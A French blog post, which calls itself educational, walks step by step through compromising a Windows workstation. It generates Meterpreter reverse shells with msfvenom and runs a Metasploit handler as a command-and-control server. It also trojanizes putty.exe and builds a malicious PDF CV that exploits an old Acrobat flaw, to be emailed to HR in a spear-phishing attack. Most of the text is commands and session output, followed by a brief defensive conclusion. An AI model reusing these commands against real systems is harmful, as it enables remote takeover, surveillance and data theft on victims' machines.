Techniques de compromission d’une cible grâce à un fichier malveillant

de | 26 août 2018

Dans de précédentes publications, j’avais remonté le cas d’attaques qui ciblent notamment les employés d’opérateurs de systèmes critiques. Ces attaques consistaient à la transmission d’e-mails contenant un fichier qui embarquait une charge malveillante. Cette charge avait pour principal objectif la collecte d’informations sur l’organisation ciblée par l’attaque. Même si la forme semble anodine, à savoir la transmission d’un mail avec une pièce-jointe malveillante, le fait que le contenu du mail et de la charge soient spécifiquement préparés afin d’être ouverts par une cible identifiée doit être considéré comme une attaque ciblée.

Cette publication a pour objectif de présenter le volet technique de l’attaque à savoir la mise en place et l’utilisation de la charge malveillante. Ce volet utilisera des fonctionnalités élémentaires, pour certaines non-détectables par des logiciels antivirus. Sachant que les états et les organisations criminelles disposent d’outils et de capacités largement plus conséquents que le contenu de cette publication.

Par ailleurs, l’objectif de cette publication est pédagogique, son contenu ne doit pas être utilisé afin de réaliser des activités malveillantes. À ce titre, les contenus de cette publication sont publics et utilisent des vulnérabilités anciennes… normalement corrigées par toute organisation.

Commençons par la mise en place d’un backdoor “basic”. Celui-ci consiste en un programme qui, une fois exécuté sur un poste de travail, se connecte au serveur de commande et de contrôle, serveur C&C. Ce dernier permet à l’attaquant de prendre le contrôle du poste de travail de la victime.

Pour cette publication, j’utilise la distribution Kali Linux dédiée aux tests de sécurité. Un outil particulier nous permettra d’arriver à nos fins : MSFvenom qui est la combinaison de MSFpayload and MSFencode. Le premier, MSFpayload, permet de générer un code binaire exécutable désigné payload. Le second, MSFencode, permet de d’encoder le payload, notre backdoor “basic”, pour qu’il ne soit pas détectable par des antivirus (technique désignée en anglais par antivirus evasion).

La commande à exécuter est la suivante :

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f exe > program.exe

La commande permet de créer un payload de type reverse shell qui permet la prise de contrôle à distance en ligne de commande du poste de travail de la victime. Une fois chargé, le payload se connecte au serveur C&C avec l’adresse IP : 10.0.0.3  sur le port 4444.

Maintenant que l’exécutable est prêt, il ne reste plus à lancer le serveur C&C à travers un autre outil Metasploit :

root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.2.4
LHOST => 10.0.2.4
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.4:4444

Il reste à faire en sorte que l’exécutable malveillant soit lancer par la victime sur son poste de travail. Une fois le programme malveillant exécuté sur le poste de travail, la connexion vers le serveur de commande et de contrôle est établie automatiquement :

[*] Sending stage (179779 bytes) to 10.0.2.5
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.5:49835) at 2018-08-13 07:09:01
meterpreter >

Bingo ! L’attaquant a accès à distance au poste de travail de la victime.

A partir de là, vous pouvez faire ce que vous voulez sur le poste de travail de la victime :

  • ouvrir l’interpréteur de commande MS-DOS avec la commande “shell” ;
meterpreter > shell
Process 196 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17134.112]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Users\User\Desktop>
  • manipuler les fichiers et répertoires ;
  • diffuser un fichier audio ;
  • faire une copie d’écran ;
  • prendre le contrôle de la webcam ;
  • enregistrer la saisie de l’utilisateur ;
  • ….

Les options possibles sont disponibles en tapant “?” :

meterpreter > ?

Le payload ouvre un flux sur un port exotique : il y a de fortes chances que ce port soit bloqué au niveau des pare-feux de l’organisation. Une évolution du payload consiste à utiliser un port généralement ouvert pour la navigation sur Internet : http ou https. Le second port apporte une option supplémentaire : le chiffrement des communications via SSL. Il suffit pour cela de changer de payload source et le port destination du serveur C&C.

root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.2.4 LPORT=443 -f exe > program.exe

Note : ce payload est capable d’utiliser la configuration proxy du poste de travail compromis 😉

Au niveau du serveur C&C :

root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.2.4
LHOST => 10.0.2.4
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://10.0.2.4:443

La limite avec ce payload est qu’il est facilement détectable par un antivirus lors de l’enregistrement sur le poste de travail de la victime. L‘analyse du fichier sur VirusTotal montre que 51 sur 66 des moteurs antivirus de ce service détectent le payload “basic”… à méditer sur l’efficacité de certains antivirus. De nombreuses techniques de contournement des antivirus existent et peuvent enrichir le payload : cette dimension ne sera pas adressée dans cette publication… peut-être dans une future publication.

Sauf à mettre en œuvre une technique de social engineering des plus efficaces, faire exécuter un fichier par un utilisateur est complexe à faire aboutir. Afin d’adresser cette limite, l’idéal serait de faire en sorte que la victime lance un exécutable qu’il considère comme légitime. À ce titre, une première option consiste à embarquer un payload dans un programme “légitime”, par exemple, putty.exe pour un administrateur système.

root@kali:~# msfvenom -x putty.exe -k -p windows/meterpreter/reverse_https LHOST=10.0.2.4 LPORT=443 -f exe -o puttyX.exe

La sortie de la commande, puttyX.exe nous met à disposition une version utilisable de putty.exe « chargée » avec le payload.

  • la taille initial du fichier putty.exe est de 757Ko avec une signature SHA1 : 5ef9515e8fd92a254dd2dcdd9c4b50afa8007b8f ;
  • la taille du fichier chargé est de 792Ko avec une signature SHA1 : f718efc7a2f60240cc322ff279b98ef189f3bf7.

Note : le test VirusTotal passe à 47 sur 66 des moteurs antivirus de ce service qui détectent le payload dans putty.exe sans aucune technique de contournement des antivirus… un antivirus leader sur le marché n’a pas détecté ce mode !!!!

Les commandes au niveau du serveur C&C ne changent pas.

La connexion entre le serveur C&C et le poste de travail compromis reste active tant que le programme malveillant s’exécute. À la fermeture de celui-ci, la connexion est perdue. Afin d’adresser cette limite, le payload doit être “transféré” vers un autre programme en cours d’exécution et qui ne s’arrêtera pas de si tôt, par exemple explorer.exe.

Pour réaliser cela, il est nécessaire de récupérer le numéro du processus explorer en cours d’exécution, le PID :

meterpreter > ps
PID   PPID Name                       Arch  Session  User            Path
—   —- —-                       —-  ——-  —-            –
3208  1000 sihost.exe                 x64   1     WIN\User  C:\Windows\System32\sihost.exe
3224  568 svchost.exe                x64   1     WIN\User  C:\Windows\System32\svchost.exe
3328  1000 taskhostw.exe              x64   1     WIN\User  C:\Windows\System32\taskhostw.exe
3396  700 ShellExperienceHost.exe    x64   1     WIN\User  C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
3428  840 ctfmon.exe                 x64   1
3568  3540 explorer.exe               x64   1     WIN\User  C:\Windows\explorer.exe
3880  568 SgrmBroker.exe
3888  700 dllhost.exe                x86   1     WIN\User  C:\Windows\SysWOW64\dllhost.exe
3940  700 dllhost.exe                x64   1     WIN\User  C:\Windows\System32\dllhost.exe
3964  7576 filezilla.exe              x86   1     WIN\User  C:\Users\User\Desktop\FileZillaPortable\App\filezilla\filezilla.exe
meterpreter > migrate  3568

… à adapter évidemment en fonction du résultat de la commande ps

Pour vérifier que le payload a bien été transféré :

meterpreter > getpid
Current pid: 3568

À partir de là, l’attaquant peut travailler en toute tranquillité notamment pour faire en sorte de garder la main sur le poste de travail compromis, en installant un backdoor persistant, car notre payload ne s’exécutera plus au redémarrage/fermeture de session du poste de travail … la persistance et les mouvements latéraux dans le système d’information sont des sujets à part entière et qui pourraient être adressés dans de futures publications.

Pour que l’attaque aboutisse, il faudrait faire en sorte que le téléchargement de l’exécutable se fasse sur un faux vrai site grâce à une redirection suite au piratage du serveur DNS de l’organisation ou encore la compromission du serveur de téléchargement de l’exécutable afin de remplacer ce dernier avec la version malicieuse (attaque désignée par watering hole) des scénarios complexes, car ces techniques nécessitent d’investir du temps et des moyens.

Une évolution du scénario, nous arrivons aux attaques décrites dans mon introduction, consisterait à embarquer le payload dans un fichier de type winword ou dans un pdf. Cette approche ouvre une nouvelle option pour délivrer le fichier malveillant à une personne : l’e-mail en utilisant un spear phishing (phishing ciblé). Exemple : email destiné aux RH en réponse à une offre d’emploi trouvée dans les réseaux sociaux. L’e-mail contient un CV en pièce-jointe contenant un payload (99% de chance que le fichier soit ouvert).

Ci-dessous les commandes pour créer un fichier pdf malveillant à travers Metasploit. Dans ce cas, le payload utilise une vulnérabilité d’Acrobat Reader 9.x et versions antérieurs qui date de mars 2010 (Le fichier pdf utilisé est proposé par défaut par Metasploit, il est possible d’en utiliser un fichier personnalisé à condition qu’il soit créé avec un fichier d’Acrobat Reader 9.x ou versions antérieurs) :

root@kali:~# msfconsole -q
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(windows/fileformat/adobe_pdf_embedded_exe) > set FILENAME myCV-2018.pdf
FILENAME => myCV-2018.pdf
msf exploit(windows/fileformat/adobe_pdf_embedded_exe) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(windows/fileformat/adobe_pdf_embedded_exe) > set LHOST 10.0.2.4
LHOST => 10.0.2.4
msf exploit(windows/fileformat/adobe_pdf_embedded_exe) > set LPORT 443
LPORT => 443
msf exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):
  Name            Current Setting                                                                                     Required  Description
  —-            —————                                                                                     ——–  ———–
  EXENAME                                                                                                             no        The Name of payload exe.
  FILENAME        myCV-2018.pdf                                                               no        The output filename.
  INFILENAME      /usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf                            yes       The Input PDF filename.
  LAUNCH_MESSAGE  To view the encrypted content please tick the « Do not show this message again » box and press Open.  no     The message to display in the File: areaPayload options (windows/meterpreter/reverse_https):
  Name      Current Setting  Required Description
  —-      —————  ——– ———–
  EXITFUNC  process       yes       Exit technique (Accepted:  », seh, thread, process, none)
  LHOST     10.0.2.4         yes       The local listener hostname
  LPORT     443              yes       The local listener port
  LURI                       no        The HTTP Path  **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**
Exploit target:
  Id Name
  — —-
  0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English)

msf
exploit(windows/fileformat/adobe_pdf_embedded_exe) > run
[*] Reading in ‘/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf’…
[*] Parsing ‘/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf’…
[*] Using ‘windows/meterpreter/reverse_https’ as payload…
[+] Parsing Successful. Creating ‘myCV-2018.pdf’ file…
[+] myCV-2018.pdf stored at /root/.msf4/local/myCV-2018.pdf

Les commandes au niveau du serveur C&C ne changent pas.

Restera à préparer l’email pour les RH, transmettre le mail.

Note : le test VirusTotal ne s’améliore pas. Le résultat passe à 40 sur 66 des moteurs antivirus de ce service qui détectent le payload dans le fichier pdf sans aucune technique de contournement des antivirus… avec de nombreux antivirus qui ne semblent pas prendre en charge l’extension pdf !!!!


Que faut-il retenir de cette publication ?

Il existe de nombreuses techniques qui permettent d’acheminer une charge malveillante vers une cible d’une attaque. Les outils destinés à mener ces attaques sont disponibles simplement sur Internet. Pour les adapter au contexte de la cible, ces outils requièrent des compétences supplémentaires… mais pas forcément complexes.

Afin de lutter contre ce type d’attaque les principes d’hygiène cyber sécurité doivent être appliqués : sensibilisation des utilisateurs, déploiement des correctifs de sécurité, mises à jour des antivirus, etc.

Par ailleurs, de nouveaux outils de protections arrivent à maturité tels que les EDR (Endpoint detection and response) qui proposent une protection comportementale du poste de travail et les sandbox qui permettent de simuler, avant transmission à l’utilisateur le fichier, une ouverture du fichier afin de valider le “comportement” du fichier (ex. un fichier joint ne doit pas tenter une connexion vers Internet après son ouverture)… à évaluer.

Une réflexion au sujet de « Techniques de compromission d’une cible grâce à un fichier malveillant »

  1. Ping : Veille Cyber N197 – 03 septembre 2018 |

Les commentaires sont fermés.